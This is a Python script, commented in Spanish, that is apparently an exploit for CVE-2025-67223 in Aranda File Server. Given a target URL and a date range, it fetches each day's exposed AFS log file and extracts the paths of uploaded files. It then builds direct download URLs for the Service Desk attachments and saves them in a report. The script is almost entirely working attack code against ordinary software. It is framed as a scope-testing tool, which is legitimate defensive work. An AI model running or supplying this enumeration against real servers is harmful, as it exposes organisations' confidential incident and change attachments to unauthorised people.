import requests import re import sys from urllib.parse import urljoin from datetime import datetime, timedelta # <- Nueva librería para manejar fechas #Seleccionar en el vscode - (.*)$ # La función ahora devuelve la lista de URLs encontradas en ese día def enumerar_archivos_afs(base_url, fecha_objetivo): """ Se conecta al log de Aranda File Server de una fecha específica y extrae las rutas de los archivos expuestos. """ log_path = f"/AFS/logs/{fecha_objetivo}.log" log_url = urljoin(base_url, log_path) print(f"[*] Intentando recuperar log del día {fecha_objetivo} desde: {log_url}") try: # verify=False para entornos de prueba response = requests.get(log_url, verify=False, timeout=10) if response.status_code == 404: print("[-] Log no encontrado (404). Posiblemente no hubo actividad ese día.") return [] # Devuelve lista vacía elif response.status_code != 200: print(f"[-] Error: No se pudo acceder. Código de estado: {response.status_code}") return [] # Devuelve lista vacía print("[+] Log recuperado. Analizando patrones...") contenido_log = response.text # Patrón amplio (Incidents, Changes, ServiceCalls, CI/CMDB) regex_patron = r"FILE UPLOADED\s:\s(.+)" coincidencias = re.findall(regex_patron, contenido_log, re.IGNORECASE) rutas_unicas = set(coincidencias) if not rutas_unicas: print(f"[-] No se encontraron archivos subidos en el log del día {fecha_objetivo}.") return [] # 3. Reconstrucción de URLs ruta_base_archivos = "/AFS/ServiceDesk/" urls_generadas = [] for ruta_raw in rutas_unicas: ruta_web = ruta_raw.replace('\\', '/') full_path = urljoin(base_url, ruta_base_archivos + ruta_web) urls_generadas.append(full_path) print(f"[+] Éxito: {len(urls_generadas)} archivos encontrados para {fecha_objetivo}.") return urls_generadas except requests.exceptions.RequestException as e: print(f"[-] Error de conexión para {fecha_objetivo}: {e}") return [] except Exception as e: print(f"[-] Error inesperado para {fecha_objetivo}: {e}") return [] def get_date_range(start_date_str, end_date_str): """Genera fechas en formato YYYYMMDD entre dos fechas dadas.""" try: start_date = datetime.strptime(start_date_str, '%Y%m%d') end_date = datetime.strptime(end_date_str, '%Y%m%d') except ValueError: raise ValueError("Formato de fecha inválido. Use YYYYMMDD.") if start_date > end_date: raise ValueError("La fecha de inicio no puede ser posterior a la fecha de fin.") current_date = start_date while current_date <= end_date: yield current_date.strftime('%Y%m%d') current_date += timedelta(days=1) if __name__ == "__main__": print("--- Herramienta de Prueba de Alcance CVE-2025-67223 (AFS) [Rango de Fechas] ---") # 1. ENTRADA DE DATOS target = input("Ingrese la URL base del sitio: ").strip() start_date_str = input("Ingrese la FECHA DE INICIO (YYYYMMDD): ").strip() end_date_str = input("Ingrese la FECHA DE FIN (YYYYMMDD): ").strip() if not target.startswith("http"): target = "http://" + target all_exposed_urls = [] # 2. PROCESAMIENTO POR RANGO try: fechas_a_analizar = list(get_date_range(start_date_str, end_date_str)) print(f"\n[*] Analizando {len(fechas_a_analizar)} días desde {start_date_str} hasta {end_date_str}...") for date_to_check in fechas_a_analizar: urls_del_dia = enumerar_archivos_afs(target, date_to_check) if urls_del_dia: all_exposed_urls.extend(urls_del_dia) except ValueError as e: print(f"[-] Error de entrada: {e}") sys.exit(1) # 3. SALIDA CONSOLIDADA print("\n" + "=" * 80) rutas_unicas_totales = set(all_exposed_urls) if rutas_unicas_totales: print(f"| REPORTE FINAL: {len(rutas_unicas_totales)} ARCHIVOS ÚNICOS EXPUESTOS EN EL RANGO |") print("=" * 80) filename = f"reporte_alcance_{start_date_str}_a_{end_date_str}.txt" with open(filename, "w", encoding='utf-8') as f: for u in sorted(list(rutas_unicas_totales)): f.write(u + "\n") print(u) print("=" * 80) print(f"[*] Finalizado. Lista consolidada guardada en '{filename}'") else: print("| REPORTE FINAL: No se encontraron archivos expuestos en el rango de fechas. |") print("=" * 80)